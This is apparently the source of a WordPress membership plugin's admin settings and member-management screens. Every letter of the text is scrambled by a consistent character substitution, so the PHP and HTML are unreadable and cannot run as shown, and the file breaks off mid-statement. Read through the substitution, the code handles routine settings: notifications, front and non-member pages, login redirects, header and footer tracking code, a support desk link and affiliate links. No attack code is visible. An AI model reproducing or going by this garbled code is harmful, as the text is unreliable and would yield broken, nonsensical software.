StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_qFzBQplrmU, @xsmkFu(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_srstBtEBo_qFzBQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_srstBtEBo_louQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_louQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_srstBtEBo_louQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_urzrlm_qFzBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_qFzBQplrmU, @xsmkFu(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_urzrlm_qFzBQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_urzrlm_louQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_louQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_urzrlm_louQplrmU]))U } } SsrmxAh = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrmxAhQplrmU)==OU SqorAxuBn = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqorAxuBQplrmU)==OU SroCBo = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUroCBoQplrmU)U SyBFCBo = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUyBFCBoQplrmU)U SArrmBo = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUArrmBoQplrmU)U SFmmoxElmxrs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFmmoxElmxrsQplrmU)==OU SBtFxuFmmoxElmxrs = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUBtFxuFmmoxElmxrsQplrmU)==OU SFAAxuxFmB = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUFAAxuxFmBQplrmU)U Snlqqrom = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUnlqqromQplrmU)U SsrstBtEBo_qFzB = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_qFzBQplrmU))U SsrstBtEBo_lou = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrstBtEBo_louQplrmU)U xA (VSsrstBtEBo_lou) { SsrstBtEBo_lou = ((xn_nnu()) W QplrmUymmqn://QplrmU : QplrmUymmq://QplrmU)U } Surzrlm_qFzB = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_qFzBQplrmU))U Surzrlm_lou = StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUurzrlm_louQplrmU)U xA (VSurzrlm_lou) { Surzrlm_lou = ((xn_nnu()) W QplrmUymmqn://QplrmU : QplrmUymmq://QplrmU)U } SqFzBn = zBm_qFzBn()U SAorsm_qFzB = PU xA (zBm_rqmxrs(QplrmUnyrj_rs_AorsmQplrmU) == QplrmUqFzBQplrmU) { SAorsm_qFzB = @xsmkFu(zBm_rqmxrs(QplrmUqFzB_rs_AorsmQplrmU))U } WQzmUY QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyU jxCmy:OPPPqiUQplrmUQzmUY QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmU$BmmxsznQplrmU)U WQzmUYY QumUArot tBmyrC=QplrmU01$#QplrmUQzmUYY QumUWqyq xA (Drlsm(S_01$#) QzmU P): WQzmUY QumUCxk DuFnn=QplrmUlqCFmBCQplrmUQzmU$Bmmxszn nFkBC.QumU/CxkQzmUY QumUWqyq BsCxAU WQzmUYY QumUyMQzmUdlnmrtxgFmxrsnQumU/yMQzmUYY QumUqQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_srmxAhQplrmU QumUWqyq DyBDvBC(SsrmxAh)U WQzmU /QzmU btFxu myB nxmB FCtxsxnmoFmro QumUDrCBQzmUQumUWqyq BDyr ymtuBsmxmxBn(zBm_rqmxrs(QplrmUFCtxs_BtFxuQplrmU))U WQzmUQumU/DrCBQzmU FErlm BkBoh moFsnFDmxrs (xsDulCxsz oBAlsCn) nBsm mr myxn tBtEBonyxq nxmBWQumU/uFEBuQzmUQumU/qQzmUYY QumUqQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_qorAxuBQplrmU QumUWqyq DyBDvBC(SqorAxuBn)U WQzmU /QzmU fuurj lnBon mr kxBj FsC BCxm QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr zBm_BCxm_lnBo_uxsv()U WQzmUQplrmUQzmUmyBxo rjs qorAxuB xsArotFmxrsQumU/FQzmUWQumU/uFEBuQzmUQumU/qQzmUYY QumUyMQzmUaorsm 0FzBQumU/yMQzmUY QumUEurDvplrmBQzmUY QumUqQzmU7A hrlQTPMGUoB lnxsz ?roC0oBnn mr yrnm hrlo nFuBn uBmmBo nBqFoFmBuh (x.B. F nBqFoFmB ?roC0oBnn xsnmFuuFmxrs Fm QumUDrCBQzmUBiFtquB.DrtQumU/DrCBQzmU FsC myxn tBtEBonyxq nxmB Fm QumUDrCBQzmUBiFtquB.Drt/tBtEBonQumU/DrCBQzmU), jB oBDrttBsC hrl uBFkB myBnB nBmmxszn FursB.QumU/qQzmUYY QumUqQzmU1s myB rmyBo yFsC, xA hrlQTPMGUoB lnxsz myxn ?roC0oBnn nxmB mr yrnm e1#8 hrlo tBtEBonyxq nxmB FsC nFuBn uBmmBo, nBm myB QFtqUplrmUAorsm qFzBQFtqUplrmU EBurj mr EB myB Aorsm qFzB Aro urzzBC-xs tBtEBon, FsC myB QFtqUplrmUsrs-tBtEBoQFtqUplrmU qFzB mr EB hrlo nFuBn uBmmBo, jyBoB tBtEBon DFs DuxDv F Elmmrs mr Elh FDDBnn xsmr hrlo tBtEBonyxq nxmB.QumU/qQzmUYY QumUqQzmUQumUuFEBuQzmUaorsm 0FzB:QumU/uFEBuQzmUY QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_nBmmxszn_Aorsm_qFzBQplrmUQzmUY QumUrqmxrs kFulB=QplrmUPQplrmU QumUWqyq nBuBDmBC(SAorsm_qFzB==P)U WQzmUQzmU(2r cBAFlum 0FzB)QumU/rqmxrsQzmUY QumUWqyq AroBFDy (SqFzBn Fn SqFzB): WQzmUY QumUWqyqY xA (SqFzB-QzmUqrnm_sFtB == QplrmUjxnyuxnm-tBtEBoQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUtBtEBozBsxlnQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUDrqhoxzymQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUCxnDuFxtBoQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUBFosxsznQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUqoxkFDhQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUmBotn-DrsCxmxrsnQplrmU) { DrsmxslBU } WQzmUY QumUrqmxrs QumUWqyq nBuBDmBC(SAorsm_qFzB==SqFzB-QzmU7c)U WQzmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SqFzB-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SqFzB-QzmUqrnm_mxmuB)U WQzmUQumU/rqmxrsQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/nBuBDmQzmUY QumUWqyq xA (SAorsm_qFzB QzmU P): WQzmUY QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr zBm_qBotFuxsv(SAorsm_qFzB)U WQzmUQplrmUQzmU!xBj aorsm 0FzBQumU/FQzmUY QumUWqyq BsCxAU WQzmUY QumU/qQzmUYY QumUqQzmUQumUuFEBuQzmU2rs-3BtEBo 0FzB:QumU/uFEBuQzmU Y QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_nBmmxszn_srstBtEBo_qFzBQplrmU rsDyFszB=QplrmUw&lBoh(QTPMGUTtBtEBozBsxln_nBmmxszn_srstBtEBo_louQTPMGU).Fmmo(QTPMGUCxnFEuBCQTPMGU, myxn.kFulBV=P)UQplrmUQzmUY QumUrqmxrs kFulB=QplrmUQplrmU QumUWqyq nBuBDmBC(SsrstBtEBo_qFzB==P)U WQzmUQzmUbsmBo Fs BimBosFu ; 4 EBurj...QumU/rqmxrsQzmUY QumUrqmxrs kFulB=QplrmU-OQplrmU QumUWqyq nBuBDmBC(SsrstBtEBo_qFzB==QplrmU-OQplrmU)U WQzmUQzmU[?roC0oBnn 4rzxs 0FzB]QumU/rqmxrsQzmUY QumUWqyq AroBFDy (SqFzBn Fn SqFzB): WQzmUY QumUWqyqY xA (SqFzB-QzmUqrnm_sFtB == QplrmUjxnyuxnm-tBtEBoQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUtBtEBozBsxlnQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUDrqhoxzymQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUCxnDuFxtBoQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUBFosxsznQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUqoxkFDhQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUmBotn-DrsCxmxrsnQplrmU) { DrsmxslBU } xA (StBtEBozBsxln-QzmUtrCBu-QzmUxn0ormBDmBC(SqFzB-QzmU7c)) { DrsmxslBU } WQzmUY QumUrqmxrs QumUWqyq nBuBDmBC(SsrstBtEBo_qFzB==SqFzB-QzmU7c)U WQzmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SqFzB-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SqFzB-QzmUqrnm_mxmuB)U WQzmUQumU/rqmxrsQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/nBuBDmQzmU QumUntFuuQzmU(BimBosFu ; 4 ro QumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQFtqUtBtEBozBsxln_FDmxrs=qFzBnQFtqUu=-OQplrmU)U WQzmUQplrmUQzmU;20 1#bd#bc qFzBQumU/FQzmU rs hrlo nxmB)QumU/ntFuuQzmUQumUEo /QzmUY QumUxsqlm mhqB=QplrmUmBimQplrmU xC=QplrmUtBtEBozBsxln_nBmmxszn_srstBtEBo_louQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_srstBtEBo_louQplrmU nxgB=QplrmUJKQplrmU QumUWqyq CxnFEuBC(SsrstBtEBo_qFzBV=P)U WQzmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SsrstBtEBo_lou)U WQzmUQplrmU QumUWqyq CxnFEuBC(SsrstBtEBo_qFzBV=P)U WQzmU /QzmUY QumUWqyq xA (SsrstBtEBo_qFzB==P QFtqUQFtqU SsrstBtEBo_lou || SsrstBtEBo_qFzB QzmU P): WQzmUY QumUWqyq xA (SsrstBtEBo_qFzB == P) { SsrstBtEBo_uxsv = SsrstBtEBo_louU } BunB { SsrstBtEBo_uxsv = zBm_qBotFuxsv(SsrstBtEBo_qFzB)U } WQzmUY QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SsrstBtEBo_uxsv)U WQzmUQplrmUQzmU!xBj 2rs-3BtEBo 0FzBQumU/FQzmUY QumUWqyq BsCxAU WQzmUY QumU/qQzmUYY QumUqQzmUQumUuFEBuQzmU4rz-1lm 0FzB:QumU/uFEBuQzmU Y QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_nBmmxszn_urzrlm_qFzBQplrmU rsDyFszB=QplrmUw&lBoh(QTPMGUTtBtEBozBsxln_nBmmxszn_urzrlm_louQTPMGU).Fmmo(QTPMGUCxnFEuBCQTPMGU, myxn.kFulBV=P)UQplrmUQzmUY QumUrqmxrs kFulB=QplrmUQplrmU QumUWqyq nBuBDmBC(Surzrlm_qFzB==P)U WQzmUQzmUbsmBo Fs BimBosFu ; 4 EBurj...QumU/rqmxrsQzmUY QumUrqmxrs kFulB=QplrmU-OQplrmU QumUWqyq nBuBDmBC(Surzrlm_qFzB==QplrmU-OQplrmU)U WQzmUQzmU[?roC0oBnn 4rzxs 0FzB]QumU/rqmxrsQzmUY QumUWqyq AroBFDy (SqFzBn Fn SqFzB): WQzmUY QumUWqyqY xA (SqFzB-QzmUqrnm_sFtB == QplrmUjxnyuxnm-tBtEBoQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUtBtEBozBsxlnQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUDrqhoxzymQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUCxnDuFxtBoQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUBFosxsznQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUqoxkFDhQplrmU) { DrsmxslBU } xA (SqFzB-QzmUqrnm_sFtB == QplrmUmBotn-DrsCxmxrsnQplrmU) { DrsmxslBU } xA (StBtEBozBsxln-QzmUtrCBu-QzmUxn0ormBDmBC(SqFzB-QzmU7c)) { DrsmxslBU } WQzmUY QumUrqmxrs QumUWqyq nBuBDmBC(Surzrlm_qFzB==SqFzB-QzmU7c)U WQzmU kFulB=QplrmUQumUWqyq BDyr xsmkFu(SqFzB-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SqFzB-QzmUqrnm_mxmuB)U WQzmUQumU/rqmxrsQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/nBuBDmQzmU QumUntFuuQzmU(BimBosFu ; 4 ro QumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQFtqUtBtEBozBsxln_FDmxrs=qFzBnQFtqUu=-OQplrmU)U WQzmUQplrmUQzmU;20 1#bd#bc qFzBQumU/FQzmU rs hrlo nxmB)QumU/ntFuuQzmUQumUEo /QzmUY QumUxsqlm mhqB=QplrmUmBimQplrmU xC=QplrmUtBtEBozBsxln_nBmmxszn_urzrlm_louQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_urzrlm_louQplrmU nxgB=QplrmUJKQplrmU QumUWqyq CxnFEuBC(Surzrlm_qFzBV=P)U WQzmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(Surzrlm_lou)U WQzmUQplrmU QumUWqyq CxnFEuBC(Surzrlm_qFzBV=P)U WQzmU /QzmUY QumUWqyq xA (Surzrlm_qFzB==P QFtqUQFtqU Surzrlm_lou || Surzrlm_qFzB QzmU P): WQzmUY QumUWqyq xA (Surzrlm_qFzB == P) { Surzrlm_uxsv = Surzrlm_louU } BunB { Surzrlm_uxsv = zBm_qBotFuxsv(Surzrlm_qFzB)U } WQzmUY QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(Surzrlm_uxsv)U WQzmUQplrmUQzmU!xBj 4rz-1lm 0FzBQumU/FQzmUY QumUWqyq BsCxAU WQzmUY QumU/qQzmUY QumU/EurDvplrmBQzmU QumUV-- yM Aorsm qFzB --QzmUYY QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU /QzmUQumU/qQzmUYY QumUyMQzmUdlnmrt 8BFCBo QFtqUFtqU arrmBoQumU/yMQzmUY QumUEurDvplrmBQzmUY QumUqQzmUfCC moFDvxsz DrCB mr hrlo tBtEBonyxq nxmB -- 8#34 ro 080 xn rv.QumU/qQzmUYY QumUqQzmUQumUnmorszQzmU$xmBjxCB 8BFCBo:QumU/nmorszQzmUQumUEo /QzmUY QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_nBmmxszn_yBFCBoQplrmU DuFnn=QplrmUDrCBQplrmU Drun=QplrmUGPQplrmU orjn=QplrmUIQplrmU nmhuB=QplrmUArsm-nxgB:OOqiUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SyBFCBo)U WQzmUQumU/mBimFoBFQzmUQumU/qQzmUYY QumUqQzmUQumUnmorszQzmU$xmBjxCB arrmBo:QumU/nmorszQzmUQumUEo /QzmUY QumUmBimFoBF sFtB=QplrmUtBtEBozBsxln_nBmmxszn_ArrmBoQplrmU DuFnn=QplrmUDrCBQplrmU Drun=QplrmUGPQplrmU orjn=QplrmUIQplrmU nmhuB=QplrmUArsm-nxgB:OOqiUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SArrmBo)U WQzmUQumU/mBimFoBFQzmUQumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUyMQzmU0rnm $rom 1oCBoQumU/yMQzmUY QumUEurDvplrmBQzmUY QumUqQzmU7A hrl jFsm mr DyFszB myB roCBo myFm qrnmn FoB nyrjs (nlDy Fn ruCBnm mr sBjBnm ro sBjBnm mr ruCBnm), DyFszB myFm yBoB.QumU/qQzmUYY QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_roCBoQplrmU kFulB=QplrmUCBnDBsCxszQplrmU QumUWqyq DyBDvBC(SroCBo==QplrmUCBnDBsCxszQplrmU)U WQzmU /QzmU 2BjBnm 1s #rq, 1uCBnm rs ermmrt QumUBtQzmU(CBnDBsCxsz)QumU/BtQzmUQumU/uFEBuQzmUQumUEo /QzmUY QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUoFCxrQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_roCBoQplrmU kFulB=QplrmUFnDBsCxszQplrmU QumUWqyq DyBDvBC(SroCBo==QplrmUFnDBsCxszQplrmU)U WQzmU /QzmU 1uCBnm 1s #rq, 2BjBnm rs ermmrt QumUBtQzmU(FnDBsCxsz)QumU/BtQzmUQumU/uFEBuQzmUY QumU/EurDvplrmBQzmUYY QumUyMQzmU1AAnxmB 4xsvnQumU/yMQzmUYY QumUqQzmU3BtEBo 9Bsxln DFs CxnquFh myBnB uxsvn Fm myB Ermmrt rA hrlo tBtEBonyxq nxmB, sr tFmmBo jyFm myBtB hrl FoB DlooBsmuh lnxsz.QumU/qQzmUYY QumUEurDvplrmBQzmUY QumUqQzmUQumUEQzmU$lqqrom cBnv:QumU/EQzmU ?B oBDrttBsC hrl nBmlq 12b nlqqrom mxDvBm nhnmBt lnxsz <BscBnv ro QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.CrlEuBFzBsmyBuqCBnv.DrtQplrmUQzmU yxsr$lqqromQumU/FQzmU nr hrl rsuh sBBC mr DyBDv rsB urDFmxrs Aro DlnmrtBo nlqqrom xnnlBn nlDy Fn urnm qFnnjroCn, qoB-nFuBn plBnmxrsn, ro oBAlsC oBplBnmn.QumU/qQzmUYY QumUqQzmUQumUuFEBuQzmU$lqqrom cBnv ; 4: QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_nlqqromQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(Snlqqrom)U WQzmUQplrmU DuFnn=QplrmUDrCBQplrmU nxgB=QplrmUMKQplrmU /QzmUQumU/uFEBuQzmU QumUntFuuQzmU(tlnm xsDulCB QFtqUplrmUymmq://QFtqUplrmU xs jBE FCCoBnn)QumU/ntFuuQzmUQumU/qQzmUYY QumUqQzmUQumUEQzmUfAAxuxFmB 4xsv:QumU/EQzmU 7A hrl jrluC uxvB mr qortrmB myB 3BtEBo 9Bsxln qulzxs mr hrlo tBtEBon FsC BFos F Drttxnnxrs, quBFnB QumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.tBtEBozBsxln.Drt/FAAxuxFmBnQplrmUQzmUoBzxnmBo Aro rlo FAAxuxFmB qorzoFtQumU/FQzmU FsC qFnmB hrlo FAAxuxFmB uxsv xs myB Eri EBurj.QumU/qQzmUYY QumUqQzmUY fAAxuxFmB 7c (rqmxrsFu): QumUuFEBuQzmUQumUDrCBQzmUymmq://tBtEBozBsxln.Drt/39/WB=QumU/DrCBQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU DuFnn=QplrmUDrCBQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_FAAxuxFmBQplrmU nxgB=QplrmUOKQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SFAAxuxFmB)U WQzmUQplrmU /QzmUQumU/uFEBuQzmUQumUEo /QzmUY QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_FmmoxElmxrsQplrmU QumUWqyq DyBDvBC(SFmmoxElmxrs)U WQzmU /QzmU $yrj 4xsv xs $xmB arrmBoQumU/uFEBuQzmU QumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_nBmmxszn_BtFxuFmmoxElmxrsQplrmU QumUWqyq DyBDvBC(SBtFxuFmmoxElmxrs)U WQzmU /QzmU $BsC 4xsv xs btFxu 2rmxAxDFmxrsnQumU/uFEBuQzmUY QumU/qQzmUY QumU/EurDvplrmBQzmUYY QumUqQzmUQumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU kFulB=QplrmU$FkB fuu dyFszBnQplrmU /QzmUQumU/qQzmUY QumU/ArotQzmUY QumU/CxkQzmUY QumUWqyqY } qoxkFmB AlsDmxrs mxtBnxsDB(Smntq) { SCxAAl = FooFh( QTPMGUnBDrsCnQTPMGU=QzmUN, QTPMGUtxslmBnQTPMGU =QzmU ONP, QTPMGUyrlonQTPMGU =QzmU INPP, QTPMGUCFhnQTPMGU =QzmU OINHPP, QTPMGUtrsmynQTPMGU =QzmU KNKGLHI, QTPMGUhBFonQTPMGU =QzmU JMOOMHKO )U SCxAA = mxtB() - (Smntq)U SCm = QTPMGUP nBDrsCn FzrQTPMGUU AroBFDy(SCxAAl Fn Sl =QzmU Ss){ xA(SCxAAQzmUSs) {SCm = Aurro(SCxAA/(.K*Ss)).QTPMGU QTPMGU.Sl.QTPMGU FzrQTPMGUU} } oBmlos SCmU } qlEuxD AlsDmxrs tBsl_tBtEBon() { zurEFu StBtEBozBsxlnU StBnnFzB = sluuU StBnnFzB4BkBun = sluuU SlnBon = FooFh()U xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_lnBonQplrmU])) { SlnBon = S_01$#[QplrmUtBtEBozBsxln_lnBonQplrmU]U } SFDmxrs = (xnnBm(S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU])) W S_9b#[QplrmUtBtEBozBsxln_FDmxrsQplrmU] : QplrmUtBtEBonQplrmUU SuBkBun = sluuU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBunQplrmU]) QFtqUQFtqU xn_sltBoxD(S_01$#[QplrmUtBtEBozBsxln_uBkBunQplrmU])) { SuBkBun = xsmkFu(S_01$#[QplrmUtBtEBozBsxln_uBkBunQplrmU])U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_lnBonQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_lnBonQplrmU])) { AroBFDy (SlnBon Fn SlnBo) { xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_trkBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUtrkB(SlnBo, SuBkBun)U StBnnFzB = QplrmUtrkBQplrmUU StBnnFzB4BkBun = SuBkBunU } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_FCCQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUFCC(SlnBo, SuBkBun)U StBnnFzB = QplrmUFCCQplrmUU StBnnFzB4BkBun = SuBkBunU } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_oBtrkBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUoBtrkB(SlnBo, SuBkBun)U StBnnFzB = QplrmUoBtrkBQplrmUU StBnnFzB4BkBun = SuBkBunU } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_DFsDBuQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUDFsDBu(SlnBo, SuBkBun)U StBnnFzB = QplrmUDFsDBuQplrmUU StBnnFzB4BkBun = SuBkBunU } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_lsDFsDBuQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUlsDFsDBu(SlnBo, SuBkBun)U StBnnFzB = QplrmUlsDFsDBuQplrmUU StBnnFzB4BkBun = SuBkBunU } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_FDmxrs_CBuBmBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUCBuBmB;nBo(SlnBo)U StBnnFzB = QplrmUCBuBmBQplrmUU StBnnFzB4BkBun = SuBkBunU } } } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_mBtqn_CBuBmBQplrmU]) QFtqUQFtqU xnnBm(S_01$#[QplrmUtBtEBozBsxln_mBtqnQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_mBtqnQplrmU])) { AroBFDy (FooFh_vBhn(S_01$#[QplrmUtBtEBozBsxln_mBtqnQplrmU]) Fn SmBtq) { StBtEBozBsxln-QzmUtrCBu-QzmUCBuBmB#Btq(SmBtq)U } } BunBxA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_mBtqn_DrtquBmBQplrmU]) QFtqUQFtqU xnnBm(S_01$#[QplrmUtBtEBozBsxln_mBtqnQplrmU]) QFtqUQFtqU xn_FooFh(S_01$#[QplrmUtBtEBozBsxln_mBtqnQplrmU])) { AroBFDy (FooFh_vBhn(S_01$#[QplrmUtBtEBozBsxln_mBtqnQplrmU]) Fn SmBtq) { StBtEBozBsxln-QzmUtrCBu-QzmUDrtquBmB#Btq(SmBtq)U } } SsBjlnBo = AFunBU xA (xnnBm(S_01$#[QplrmUFDmxrsQplrmU]) QFtqUQFtqU S_01$#[QplrmUFDmxrsQplrmU] == QplrmUtBtEBozBsxln_oBzxnmBoQplrmU) { SDoBFmB = Smyxn-QzmUDoBFmB()U xA (SDoBFmB == P || Vxn_sltBoxD(SDoBFmB)) { SsBjlnBo = molBU } } WQzmUY QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyU jxCmy:GPPqiUQplrmUQzmUY QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmU3BtEBonQplrmU)U WQzmUYY QumUyM DuFnn=QplrmUsFk-mFE-joFqqBoQplrmUQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUtBtEBonQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-tBtEBonQFtqUtBtEBozBsxln_FDmxrs=tBtEBonQplrmUQzmU3FsFzB 3BtEBon (QumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm()U WQzmU)QumU/FQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUxsDrtquBmBQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-tBtEBonQFtqUtBtEBozBsxln_FDmxrs=xsDrtquBmBQplrmUQzmU7sDrtquBmB BzxnmoFmxrsn (QumUWqyq BDyr StBtEBozBsxln-QzmUtrCBu-QzmUzBm#Btqdrlsm()U WQzmU)QumU/FQzmUY QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (SFDmxrs == QplrmUBiqromQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUWqFzB=QumUWqyq BDyr qulzxs_EFnBsFtB(__a74b__)U WQzmU-tBtEBonQFtqUtBtEBozBsxln_FDmxrs=BiqromQplrmUQzmUbiqromQumU/FQzmUY QumU/yMQzmUYY QumUWqyqY xA (Smyxn-QzmUFDmxkFmxrs-QzmUvBh V= sluu) { xA (SsBjlnBo) { Smyxn-QzmUoBzxnmBo()U } BunBxA (SFDmxrs == QplrmUtBtEBonQplrmU) { Smyxn-QzmUtBsl_tBtEBon_uxnm(StBnnFzB, StBnnFzB4BkBun)U } BunBxA (SFDmxrs 